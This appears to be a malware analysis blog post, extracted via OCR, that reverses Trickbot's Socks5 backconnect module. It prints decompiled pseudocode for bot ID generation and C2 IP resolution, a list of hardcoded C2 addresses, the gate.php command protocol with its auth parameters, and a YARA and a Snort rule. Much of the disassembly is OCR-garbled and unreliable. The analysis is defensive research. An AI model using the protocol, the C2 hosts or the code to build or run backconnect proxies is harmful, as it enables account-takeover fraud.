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Goal: Reverse the Trickbot Socks5 backconnect module including its communication
protocol and source code-level insights.

Source: Decoded Trickbot Socks5 backconnect module
(33ad13c11e87405e277f002e3c4d26d120fcad0ce03b7f1d4831ec0ee0c056¢6)
Background:
The Trickbot banking Trojan is notable for its backconnect Socks5 module titled
"bcClientDIITest." This module is used extensively by the gang for online account
takeover fraud. This module was obtained while analysing the Trickbot infection chain
from the email campaign impersonating PayPal (thanks to @Ring0x0).

pic.twitter.com/DyWNbg02aa
— Derrick (@Ring0x0) November 14, 2017

The decoded Trickbot Socks5 DLL module contains the following export functions:

Name Address Ordinal

Control 0x100118B8 1

FreeBuffer 0x100027DE 2

Release 0x100118C3 3

Start 0x100118E4 4

In this blog, we are primarily interested in analyzing the "Start" export function (ordinal #4).
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ull s =

: Exported entry . Start 1

; Attributes;: bp-based frane

; int _ stdcall Start{int, int, int, int, char =, int, int, int)
public Start

Start proc near

arg 1B= dword ptr 18K

push ehp
T whp, s
nou I'1:I..IIH:|:'.I'| .|M|||!|.|'||-|::1|||Fj||F|III ; dandul ceonfigxyrindautostar tgesdfautos® .
push elhix
xor ehx, ebx HoduleconfigAu db " <noduleconfig:® 800,880 ; DATRH XHEF: Start+3To
push sl ; Start:loc 108119807
nou edx, ebx dbh "LavtostartrypesdSantostart> "  bikh , BAk
lea es51, [ecxks1] dh “<needinfFo name St @bk, BAh
dh “<needinfFo name iptfEt , 8hh, AAh
dh “<needinFo name “parentFiles™ >, A0, Bak
Lir' db < fmodulecanfigs® @

loc 1RAT18FS5:

nou
ime

jmz

al, [ecx]
BEX

test al, al

short loc 100118F%

T~

Trickbot’s exported

—

- .| functon “Start” (ord #4)
I:b L:.:Tlll:u 1nn1w1u| /
LI}

Ml =

Toe TRAT1960:

; Cdmndul rconfigFyrindantostar bryes<fautos™ . ..

TR al, byte pty aModul econfigio]eds]
ine il
Q] byte 10E34PAN, al
cip eilx, rox
il short loc_ 18011908
|
L

P

The blog outline is as follows:
|. "Start" configuration template

[I. Module CreateThread function

[ll. Bot ID generator function

IV. Dynamic API-loading function

V. IP resolution function

VI. Network communication commands
VI. Communication analysis

VII. Yara rule

VIII. Snort signature
I. "Start" Configuration Template

First, the backconnect module "Start" export loads the default configuration template as

follows:
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<moduleconfig>
<autostart>yes</autostart>
<needinfo name = "id"/>

<needinfo name = "ip"/>

<needinfo name = "parentfiles"/>
</moduleconfig>

Il. Module CreateThread Function

Next, the module creates a new thread via CreateThread API with
(LPTHREAD_START_ROUTINE)StartAddress copping the configuration template into the
dword_10034904 memory location via strstr API containing the sequence of characters to
match ".". The pseudocoded Start function is as follows:
void *__stdcall Start(int a1, int a2, int a3, int a4, char *a5, int a6, int a7, int a8)
{

unsigned int v8'

unsigned int v9;

char v10;

void *result;

v8 = 0;

v9 = strlen(aModuleconfigAu);

if (v9)

{
do
{

v10 = aModuleconfigAu[v8++];
byte_100349A4 = v10;

}
while (v8 <v9);

}

result = 0;

if ( 'dword_10034900 )

{
memset(byte 10034908, 0, 0x20u);
byte _10034908[32] = O;s
gmemcpy(byte 10034908, strstr(a5, ".") + 1, 0x20u);
dword_10034900 = 1;
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, 0);
result = malloc(0x400u);
dword_10034904 = (int)result;

}

return result;
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}

lll. Bot ID generator function

One of the first notable functions is that the module creates a bot identifier (ID) leveraging a
security identifier (SID) for the account and the name of the domain with the sequence of

GetVolumelnformationA, GetUserNameA,and LookupAccountNameA, wherein the bot id
(also referred later as "client_id") is a serial number of the hard drive that stores the C
section. The value is created using XOR operation on SID.

q ds:GetlserHane R
push THHER ; S1Ze t
push ] ; int
iy ecx, [ebp+Sid]
push PLX ;ounid =
call nemset
add esp, ACh
Lird ey, [ebp+pellse]
push s : pellse
lea eax, [ebp+rcchieferencedPomaintiane ]
push PR ; cchReferencedlomaintame
iy PCX, [I'|I|:I+Rl'l'-l'r'l‘lll:l'ljrllll'nliIIH'.II'II']
push BN ; ReferencedDonainbame
lea edx, [ebp+chiid] R
ush el i chiid B: hk "} b
!-:II:ILI eax, [ebp+sid] dL CUHHECt h {)t
XOR l{]{] push Pax : =id t
p mowy ecy, [ebp+lpBuffer] ID g
push BLn i 1pficcountHame Eilli317i1 {]l~
push 1] s IpSystemdame -
bﬂSEd un fall ds:LookupAccountHaned functlﬂn
oy [ebp+var_uT, @
SID jnp short loc_ 10008104
g
il =
loc T0ang10n0:
Cmp [ebpruar 4], 16h
ja short loc_188081E7
™
_ ¥
ol a1 =
eax, [ebp+var_h]
eex, [ehpesid] loc 10RREAET =
edx, [ebp+Uolumeserialdunber ]} nou eax, [ebprlpbuffer]
edx, [ecx+eax=h] push eax ; woid =
[ebpsUoluneSerialHunber], edxl call Free
short loc TARGIICT add BEp, 4
o ecy, [ebpe+5id]
push [T ; woid =
call Free
add PEp, b
] edx, [ebp+ReferencedbonainHame]
push edx ; woid =
call Free
add esp, 4
nay eax, [ebprUolunelierialHumber ]
now esp, ebp
pop I_"LIP

The simplified C++ DWORD function is as follows:

DWORD bot_id_generator()

{
CHAR VolumeNameBuffer;
CHAR FileSystemNameBuffer;
DWORD FileSystemFlags;
enum _SID_NAME_USE peUse;

DWORD MaximumComponentLength;
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DWORD cbSid;

DWORD pcbBuffer;

DWORD cchReferencedDomainName;
LPSTR ReferencedDomainName;
DWORD VolumeSerialNumber;
LPSTR IpBuffer;

PSID Sid;

inti;

GetVolumelnformationA(

"C:\\",
&VolumeNameBuffer,
0x80u,
&VolumeSerialNumber,
&MaximumComponentLength,
&FileSystemFlags,
&FileSystemNameBuffer,
0x80u);

IpBuffer = (LPSTR)malloc(0x1000u);

pcbBuffer = 4096;

Sid = malloc(0x1000u);

cbSid = 4096;

ReferencedDomainName = (LPSTR)malloc(0x1000u);

cchReferencedDomainName = 4096;
GetUserNameA(IpBuffer, &pcbBuffer);
memset(Sid, 0, 0x1000u);

LookupAccountNameA(O, IpBuffer, Sid, &cbSid, ReferencedDomainName,

&cchReferencedDomainName, &peUse);

}

for (i=0;i<=16; ++i)

VolumeSerialNumber *= *((_ DWORD *)Sid + i);

free(IpBuffer);

free(Sid);
free(ReferencedDomainName);
return VolumeSerialNumber;

IV. Dynamic API-Loading Function

The module proceeds to load dynamically the following Windows API via usual sequence
LoadLibrary/GetModuleHandleA/GetProcAddress:

v1 = GetModuleHandleA("kernel32.dIl");

v68 = GetProcAddress(v1, "HeapAlloc");

v2 = GetModuleHandleA("kernel32.dlI");

v57 = GetProcAddress(v2, "HeapFree");
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v3 = GetModuleHandleA("kernel32.dlI");

v236 = GetProcAddress(v3, "GetProcessHeap");
v4 = GetModuleHandleA("ntdll.dll");

v56 = GetProcAddress(v4, "sprintf");

v5 = GetModuleHandleA("ntdll.dll");

v29 = GetProcAddress(v5, "strcat");

v6 = GetModuleHandleA("wininet.dll");

v39 = GetProcAddress(v6, "InternetOpenA");
v7 = GetModuleHandleA("wininet.dll");

v43 = GetProcAddress(v7, "InternetOpenUrlA");
v8 = GetModuleHandleA("wininet.dll");

v55 = GetProcAddress(v8, "InternetReadFile");
v9 = GetModuleHandleA("wininet.dll");

v61 = GetProcAddress(v9, "InternetCloseHandle");

The module then checks if the operation succeeded comparing the predefined location at

DWORD at 0x10034900 of "0".
V. IP Resolution Function

mou [ebp*var_ 18], 1
mou [ebpshHen], @ 7 Trickbot backconnect module TPS
noy [ebprcp], offset ipB ; [6Y¥. 1ol 196 .21
i [ehpsuar SA), offset ipy ; 10715040234
ROy [ebpevar_A4L], offset ipd ; "162.211.64.208"
i [ehpsuar 48], offset ipd ; “217.12_.210.54"
(] [ebpsvar_48], ofFfset ipy : "89.18.27. 34"
iy [ehpsvar 4%0), offset apq ; “193.183 9B . 154
noy [ebprvar_3C], offset ipd ; "51.255.167 .07
i [ehpsvar 3R], offset ipy ; 9112115513
ROy [ebprvar_34], offset ipd ; “8F.9B.175. 85"
i [ehpsvar 30), offset ipj ; "1BS.97.7.7"
noy [ebp+var_20],. BAh
push E + UBytes
push i ; uFlags
call ds:Localillor
moy [ebp+hMen], eax
iy [ebpsvar 1], @
(] [ebp*yar_L], A
1np short loc 1BOAFF LA
LK ]
ol =
loc 1ARFFEA:
nou ecx, [ebpruar L]
i e, [ehpeuar 28]
IP rESﬂl“tiﬂn ige loc_ 18 Baes
function i -
now edx, [ebpruar L] =
iy A, [L'Ir;|+|,'|,1xi-n+|:||] _j|r||| shor ]|||_:_1I'II?II'I-FF".'E
push Bax : Cp
||'..|1'I ds-inel addr
now eCX, B
imul erdx, ecx, A
nau ecx, [ebprhien)
niw [Pcx+edx+h], pax
nou edx, [ebprhtien]
niw dword pte [edx], 1
push ]
Lliva eax, [ebp+var_14]
push eax
i rex, [ebpehHem)
push BCx
push 2
push 1
niu wdx, [ebhpearg @)
push &K
[za11 Dnsuery
noy [ebptwar_Zd], eax
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The malware copies its default user agent into the placeholder 'Mozilla/5.0 (Windows; U;
MSIE 9.0; Windows NT 9.0; en-US)," which is later utilized for network communications. The
malware leverages the user agent with the resolved hardcoded default IPs, which are
oftentimes changed by the Trickbot. The resolution is accomplished with the following API

calls:
inet_addr
DnsQuery_A
inet_ntoa

The BOOL-type function is as follows:
BOOL __ cdecl Trick_backconnect_IP_resolution(int a1, BYTE *a2)

{

char *cp;

const char *v4;

const char *v5;

const char *v6;

const char *v7;

const char *v8;

const char *v9;

const char *v10;

const char *v11;

const char *v12;
_BYTE *v13;

int v14;

struct in_addr in;

int v16;

char *v17;

int v18;

int v19;

_BYTE *v20;

int i

HLOCAL hMem,;

char v23;

char v24;

*a2 =0;

v19 = 0;

v18 = 0;

cp = "69.164.196[.]121";
v4 ="107.150.40[.]1234";
vS ="162.211.64[.]20";
v6 ="217.12.210[.]54";
v7 ="89.18.27[.]134";
v8 = "193.183.98[.]154";
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v9 ="51.255.167[.]0";

v10 ="91.121.155[.]13";

v11 ="87.98.175[.]85";

v12 ="185.97.7[.]7";

v16 = 10;

hMem = LocalAlloc(0x40u, 8u);
v24 = 0;

for (i=0;i<v16; ++i)

{

*((_ DWORD *)hMem + 1) = inet_addr((&cp)[4 * i]);

*(_DWORD *)hMem = 1;
v14 = DnsQuery_A(a1, 1, 2, hMem, &v19, 0);
v18 = v19;
if (v19)
{
in = *(struct in_addr *)(v18 + 24);
v17 = inet_ntoa(in);
v20 = az2;
v13 = a2;
do
{
v23 = *v17;
*v20 = v23;
++v17;
++v20;
}
while (v23);
v24 =1;
}
if (v24)
break;
}
if (hMem )
LocalFree(hMem);
if (v19)
DnsFree(v19, 1);
return v24 = 0;

}

VI. Communication Protocol
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AT
L. L noy [ebpruar D8], edx
Trickbot’s mou  [enpevar E], D
Ry [rhp+var D], B
chp [ebp+uar 1468], B

backconnect jz loc 10009217
- -
“c="" URI w/ o ¥

il =
‘connect’ o Tax. [ebpevar 56]

push offsel ak a bt

Eﬂmmand o eox, [Phpruar 1%]
push ecx : int

call inp_resolution_func

adid esp, HCh

D2 ede, al

Lesi eds, Edx

'ir Lo TRBNRZF1F

} ¥

push ofFfset CriticalSection : lpCriticalSection
call de:Entertritical Section

nou eax, [ebpsuwar 18]

Foy eCx, [eax]

miow [ebp+war_140], ecx

nush offset CriticalSection ; IpCriticaliection
call g5l eguetiriticalSectiol

[pusn aFFset aConnect ; “connect”

mnn %, [ehpeuar GE |

push el : char =

call tricmp

arli esp, R

Lest BaK, eax

|-:II( Toc TERFMEN

|

wll sl =
cap [ehptuar 14R], B
inz Lloc_10009181

T
¥ \ | |
The following commands are used for client-server communications initially with the

command prefix “c”:

disconnect: Terminate the backconnect server connection
idle: Maintain the client-server connection

connect: connect to the backconnect server. The command must consist of the following
parameters:

ip: Backconnect server’s IP address

auth_swith: Use authorization flag. If the value is set to “1”, the Trojan receives the
auth_login and auth_pass parameters. If the value is “0”, the Trojan gets the auth_ip
parameter. Otherwise, the connection will not be established.
auth_ip: Authentication IP address

auth_login: Authentication login

auth_pass: Authentication password
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pre— T
push pili :oint
call imp_resolution_func
afd esp, OCh
MOVZE eax, al
test Bakd, eax
jz Loc_ 1 mags pif
]
—_— ' - ’
ll s 5 Trickbot’s
push of Fset ail ; I
iy BCR, LeOp uar_orC]
push BLK i char = Snckss
call strie mipy
add esp, B A h — —
test  eax, eax uthorization
jne short loc 1TARBERFF L .
- | Flag Logic
- h
A= —
loc_1AABAFFY : S |
push aFFsel a1
noy e, [ebpevar SC
push el 3 char =
call Stricmp
adid osp, B
test eax, eax
inz short loc_1000904F
T L
Y L
ol e = oll = Z
now [ebhp+var 18], A now [ehp+var 18], 1
nou e, [ebprvar 110] noy rax, [ebperuar 114)
Sl Bl s int pusly (R s int
pust affselt afuth_ip ; “auth i||'" push aoffset atuth login ; “auth ]|||;i||'|
now eax, [ebpruar TE] o ecx, [ebp*uar TE]
push [EFES :oint push [ = imt
call inp_resolution_func call inp_resolution_func
add esp, HOCh add esp, HCh
nowzE ecx, al nouze edx, al
test BCH,; BCX test eldx; edx
jz short Loc_1BH0BHFF2 jz shorkt Loc_ 100y iauF
*_] I 1
_ _ 1
= wll s =
now [ebpruar_F], 1 now 8ax, [ebpruar_120]
5h BN i int
purs offset anuth_pass ; “auth_pass]
[now BCK, [ebpruar_TH]

VI. Deeper Dive into Client-Server Protocol

By and large, there are three main Trickbot Socks5 server-client commands:
c=idle

c=disconnect

B &4 i
19 FA 54
1 1 i+ &F &L EF 1 ¥ ¥ 1 19 4 ¥ i i
(] F B 4 iF B E b Ok
D1k P
Gt Sl e Trafcl tetess Haabars Taalheew | [inadeheew He'wes | Wilies  Auth Caching Coobts | Faw b o
i i i o
& 43 6F 6B 4 EE BE M 54 T8 - X JT s 2P &9 T4 &b &0 E £ 68 61 § i iE 54 44 - -
i E F ¥ i [ eL L J i1 TREEN ) imalil
14 I
(] L] 5 % F 83 [ | B a0 6 BL 76 Ta it 04 math_ipe0, @, 0. 05aw
¥ &F & £F & (3 F a0 & 0 h,

The Trickbot client forms a sequence of GET requests to the server (usually, on gate[.]php):

client_id=&connected=&server_port=&debug=

The server POST response with the following parameters if the connection needs to be
established:
c=connect&ip=&auth_swith=&auth_ip=&auth_login=&auth_pass=
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If the connection needs to be terminated, the server will respond with “c=disconnect.” Most of
the currently observed Trickbot Socks5 backconnect servers contain Blockchain name server

resolution.

o0

Featard;

Gt Semkacview | Tranfomesr V=adars Tekview | Imagethes | |Hestes | Webvew | Auh Caching

VII. YARA RULE
rule crime_win32_trick_socks5_backconnect {
meta:

description = "Trickbot Socks5 bckconnect module”

author = "@VK_Intel"

reference = "Detects the unpacked Trickbot backconnect in memory"

date ="2017-11-19"

hash = "f2428d5ff8c93500da92f90154eebdf0"

strings:
$s0 = "socks5dIl.dll" fullword ascii

$s1 = "auth_login" fullword ascii
$s2 = "auth_ip" fullword ascii

$s3 = "connect" fullword ascii

$s4 = "auth_ip" fullword ascii

$s5 = "auth_pass" fullword ascii

$s6 = "thread.entry_event" fullword ascii
$s7 = "thread.exit_event" fullword ascii
$s8 = "</moduleconfig>" fullword ascii

$s9 = "<moduleconfig>" fullword ascii

$s10 = "<autostart>yes</autostart>" fullword ascii

condition:
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uint16(0) == Ox5a4d and filesize < 300KB and 7 of them

}
VIIl. SNORT RULE

alert tcpo SHOME_NET any -> SEXTERNAL_NET $HTTP_PORTS (msg:"Possible Trickbot
Socks5 Backconnect check-in alert"; flow:established,to_server; content:"gate.php"; http_uri;
content:"?client_id="; http_uri; content:"&connected="; http_uri; content:"&server_port=";
http_uri; content:"&debug="; http_uri; reference:url,http://www.vkremez.com/2017/11/lets-
learn-trickbot-socks5-backconnect.html; classtype:Trojan-activity; rev:1;)
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